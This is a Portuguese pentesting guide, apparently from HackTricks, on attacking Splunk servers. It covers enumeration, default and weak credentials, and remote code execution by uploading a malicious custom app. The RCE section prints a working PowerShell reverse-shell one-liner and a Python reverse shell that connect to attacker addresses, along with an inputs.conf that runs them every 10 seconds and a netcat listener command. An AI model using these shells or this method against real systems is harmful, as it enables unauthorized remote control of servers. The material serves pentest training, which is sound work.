## **Informação Básica** O **Splunk** é uma ferramenta de **análise de logs** usada para coletar, analisar e visualizar dados. Embora não tenha sido originalmente projetado para ser uma ferramenta SIEM, o Splunk é frequentemente usado para **monitoramento de segurança e análise de negócios**. As implantações do Splunk são frequentemente usadas para armazenar **dados sensíveis** e podem fornecer uma riqueza de informações para um atacante se comprometidas. **Porta padrão:** 8089 ``` PORT STATE SERVICE VERSION 8089/tcp open http Splunkd httpd ``` {% hint style="info" %} O servidor web do Splunk é executado por padrão na porta 8000. {% endhint %} ## Enumeração ### Versão Gratuita O teste do Splunk Enterprise se converte em uma versão gratuita após 60 dias, que não requer autenticação. Não é incomum que os administradores do sistema instalem um teste do Splunk para testá-lo, que é posteriormente esquecido. Isso se converterá automaticamente na versão gratuita que não tem nenhum tipo de autenticação, introduzindo uma falha de segurança no ambiente. Algumas organizações podem optar pela versão gratuita devido a restrições orçamentárias, sem entender completamente as implicações de não ter gerenciamento de usuário/papel. ### Credenciais Padrão Em versões mais antigas do Splunk, as credenciais padrão são `admin:changeme`, que são convenientemente exibidas na página de login. No entanto, a versão mais recente do Splunk define credenciais durante o processo de instalação. Se as credenciais padrão não funcionarem, vale a pena verificar senhas fracas comuns, como `admin`, `Welcome`, `Welcome1`, `Password123`, etc. ### Obter Informações Depois de fazer login no Splunk, podemos navegar pelos dados, executar relatórios, criar painéis, instalar aplicativos da biblioteca Splunkbase e instalar aplicativos personalizados. Você também pode executar código: o Splunk tem várias maneiras de executar código, como aplicativos Django do lado do servidor, pontos de extremidade REST, entradas com script e scripts de alerta. Um método comum de obter execução remota de código em um servidor Splunk é por meio do uso de uma entrada com script. Além disso, como o Splunk pode ser instalado em hosts Windows ou Linux, entradas com script podem ser criadas para executar scripts Bash, PowerShell ou Batch. ### Shodan * `Construção do Splunk` ## RCE ### Criar Aplicativo Personalizado Um aplicativo personalizado pode executar scripts Python, Batch, Bash ou PowerShell. Observe que o Splunk vem com Python instalado, então mesmo em sistemas Windows, você poderá executar código Python. Você pode usar [este](https://github.com/0xjpuff/reverse\_shell\_splunk) pacote Splunk para nos ajudar. O diretório `bin` neste repositório tem exemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos seguir este processo passo a passo. Para isso, primeiro precisamos criar um aplicativo Splunk personalizado usando a seguinte estrutura de diretório: ```shell-session tree splunk_shell/ splunk_shell/ ├── bin └── default ``` O diretório **`bin`** conterá quaisquer **scripts que pretendemos executar** (neste caso, um shell reverso do **PowerShell**), e o diretório padrão terá nosso arquivo `inputs.conf`. Nosso shell reverso será um **PowerShell one-liner:** ```powershell $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close( ``` O arquivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) informa ao Splunk **qual script executar** e quaisquer outras condições. Aqui definimos o aplicativo como habilitado e informamos ao Splunk para executar o script a cada 10 segundos. O intervalo é sempre em segundos e a entrada (script) só será executada se essa configuração estiver presente. ```shell-session cat inputs.conf [script://./bin/rev.py] disabled = 0 interval = 10 sourcetype = shell [script://.\bin\run.bat] disabled = 0 sourcetype = shell interval = 10 ``` Precisamos do arquivo `.bat`, que será executado quando a aplicação for implantada e executará a linha de comando do PowerShell. O próximo passo é escolher `Instalar aplicativo a partir do arquivo` e fazer upload do aplicativo.
Antes de fazer o upload do aplicativo personalizado malicioso, vamos iniciar um ouvinte usando o Netcat ou o [socat](https://linux.die.net/man/1/socat). ```shell-session sudo nc -lnvp 443 listening on [any] 443 ... ``` Na página `Upload app`, clique em procurar, escolha o tarball que criamos anteriormente e clique em `Upload`. **Assim que o aplicativo for carregado**, um **shell reverso será recebido** e o status do aplicativo será automaticamente alterado para `Enabled`. #### Linux Se estivéssemos lidando com um **host Linux**, precisaríamos **editar o script Python `rev.py`** antes de criar o tarball e fazer o upload do aplicativo malicioso personalizado. O restante do processo seria o mesmo e obteríamos uma conexão de shell reverso em nosso ouvinte Netcat e estaríamos prontos para começar. ```python import sys,socket,os,pty ip="10.10.14.15" port="443" s=socket.socket() s.connect((ip,int(port))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn('/bin/bash') ``` ### RCE e Escalada de Privilégios Na página a seguir, você pode encontrar uma explicação de como esse serviço pode ser abusado para escalar privilégios e obter persistência: {% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} [splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md) {% endcontent-ref %} ## Referências * [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).